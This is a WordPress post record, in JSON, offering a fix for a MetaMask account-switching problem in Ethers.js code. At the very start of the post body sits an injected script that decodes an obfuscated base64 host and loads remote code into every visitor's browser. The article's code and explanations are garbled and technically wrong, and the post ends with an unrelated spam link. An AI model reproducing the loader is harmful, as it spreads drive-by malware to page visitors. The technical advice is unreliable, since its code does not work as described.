{"id":265,"date":"2025-02-08T01:38:12","date_gmt":"2025-02-08T01:38:12","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=265"},"modified":"2025-02-08T01:38:12","modified_gmt":"2025-02-08T01:38:12","slug":"metamask-i-am-not-able-to-change-my-metamask-account-due-to-3-lines-of-code-in-the-below-app-js-code-from-line-25-27","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=265","title":{"rendered":"Metamask: I am not able to change my Metamask account due to 3 lines of code in the below App.js code from line 25-27"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=c32e0fce\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Metamask Account Change Issue: A Look into the Code<\/strong><\/p>\n<\/p>\n<p>As a developer, you&#8217;ve likely encountered issues with changing your MetaMask account. The problem lies in a specific line of code within an App.js file on Ethers.js. In this article, we&#8217;ll dive into what&#8217;s going wrong and provide guidance on how to resolve it.<\/p>\n<\/p>\n<p><strong>The Issue: 3 Lines of Code<\/strong><\/p>\n<\/p>\n<p><pre><code><\/p><p>const realEstate = new ethers.Contract(config[network[networkType]]));<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<p><strong>The Problem:<\/strong><\/p>\n<\/p>\n<p>The issue is with the line where <code>network<\/code> is being referenced. Specifically, lines 25-27 seem to be causing trouble:<\/p>\n<\/p>\n<p><pre><code><\/p><p>const network = config[network];<\/p><p>\n<\/p><p>const networkType = config[network].network;<\/p><p>\n<\/p><p>\n<\/p><p>\/\/ or<\/p><p>\n<\/p><p>const realEstate = new ethers.Contract(config[network]);<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<p>In this code snippet, <code>config<\/code> appears to be an object with a nested structure. When trying to access the <code>network<\/code> field of <code>config<\/code>, Ethers.js throws an error because it&#8217;s not sure which <code>networkType<\/code> corresponds to the current network type.<\/p>\n<\/p>\n<p><strong>The Solution:<\/strong><\/p>\n<\/p>\n<p>To resolve this issue, you need to make sure that the correct <code>networkType<\/code> is used to construct a MetaMask contract. You can do this by adding additional logic or using environment variables to determine the network type.<\/p>\n<\/p>\n<p>Here are some possible solutions:<\/p>\n<\/p>\n<ul>\n<li><strong>Use an Object with Multiple Network Types<\/strong>:<\/li>\n<\/ul>\n<\/p>\n<p><pre><code><\/p><p>const config = {<\/p><p>\n<\/p><p>  development: {<\/p><p>\n<\/p><p>    network: 'rinkeby',<\/p><p>\n<\/p><p>    networkType: 'mainnet'<\/p><p>\n<\/p><p>  },<\/p><p>\n<\/p><p>  test: {<\/p><p>\n<\/p><p>    network: 'ropsten',<\/p><p>\n<\/p><p>    networkType: 'testnet'<\/p><p>\n<\/p><p>  }<\/p><p>\n<\/p><p>};<\/p><p>\n<\/p><p>\n<\/p><p>\/\/ or<\/p><p>\n<\/p><p>\n<\/p><p>config.networkTypes = {<\/p><p>\n<\/p><p>  development: ['mainnet', 'testnet'],<\/p><p>\n<\/p><p>  test: ['ropsten']<\/p><p>\n<\/p><p>};<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<p>Then, use the correct network type when constructing the MetaMask contract:<\/p>\n<\/p>\n<p><pre><code><\/p><p>const realEstate = new ethers.Contract(config.networkTypes[config.network]);<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<ul>\n<li><strong>Use Environment Variables<\/strong>:<\/li>\n<\/ul>\n<\/p>\n<p>You can store the network types and their corresponding contracts in environment variables. Then, load these variables into your code using <code>process.env<\/code>. Here&#8217;s an example:<\/p>\n<\/p>\n<p><pre><code><\/p><p>const { networkType } = process.env;<\/p><p>\n<\/p><p>const config = {<\/p><p>\n<\/p><p>  \/\/ ...<\/p><p>\n<\/p><p>};<\/p><p>\n<\/p><p>\/\/ or<\/p><p>\n<\/p><p>\n<\/p><p>config.networkTypes = process.env.NETWORK_TYPES || {};<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<p>In this case, you can use the following line of code:<\/p>\n<\/p>\n<p><pre><code><\/p><p>const realEstate = new ethers.Contract(config[networkType]);<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<ul>\n<li><strong>Use a Config File<\/strong>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/JboqwizQHjQ\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><img decoding=\"async\" alt=\"Metamask: I am not able to change my Metamask account due to 3 lines of code in the below App.js code from line 25-27\n\" src=\"https:\/\/30appsin30days.com\/wp-content\/uploads\/2025\/02\/47671992.png\"><\/p>\n<p>:<\/li>\n<\/ul>\n<\/p>\n<p>You can store your network types and their corresponding contracts in a separate config file (e.g., <code>metamask-configuration.json<\/code>). Then, load this file into your code using <code>config.fromJSON()<\/code>.<\/p>\n<\/p>\n<p>In this case:<\/p>\n<\/p>\n<p><pre><code><\/p><p>const config = require('.\/metamask-configuration.json');<\/p><p>\n<\/p><p>\/\/ or<\/p><p>\n<\/p><p>\n<\/p><p>config.networkTypes = config.networkTypes || {};<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<p><strong>Conclusion:<\/strong><\/p>\n<\/p>\n<p>The issue with the 3 lines of code is likely due to a misconfigured network type. By adding additional logic, using environment variables, or loading your config file, you should be able to resolve this issue and successfully change your MetaMask account.<\/p>\n<\/p>\n<p>Remember to always refer to Ethers.js documentation for more information on how to work with contracts, networks, and configurations.<\/p>\n<p><a href=\"https:\/\/24lionrealestate.ru\/2025\/02\/08\/ethereum-sending-transactions-to-mining-nodes-only\/\">ethereum nodes<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Metamask Account Change Issue: A Look into the Code As a developer, you&#8217;ve likely encountered issues with changing your MetaMask account. The problem lies in a specific line of code within an App.js file on Ethers.js. In this article, we&#8217;ll dive into what&#8217;s going wrong and provide guidance on how to resolve it. The Issue: [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/265"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=265"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/265\/revisions"}],"predecessor-version":[{"id":266,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/265\/revisions\/266"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=265"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=265"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=265"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}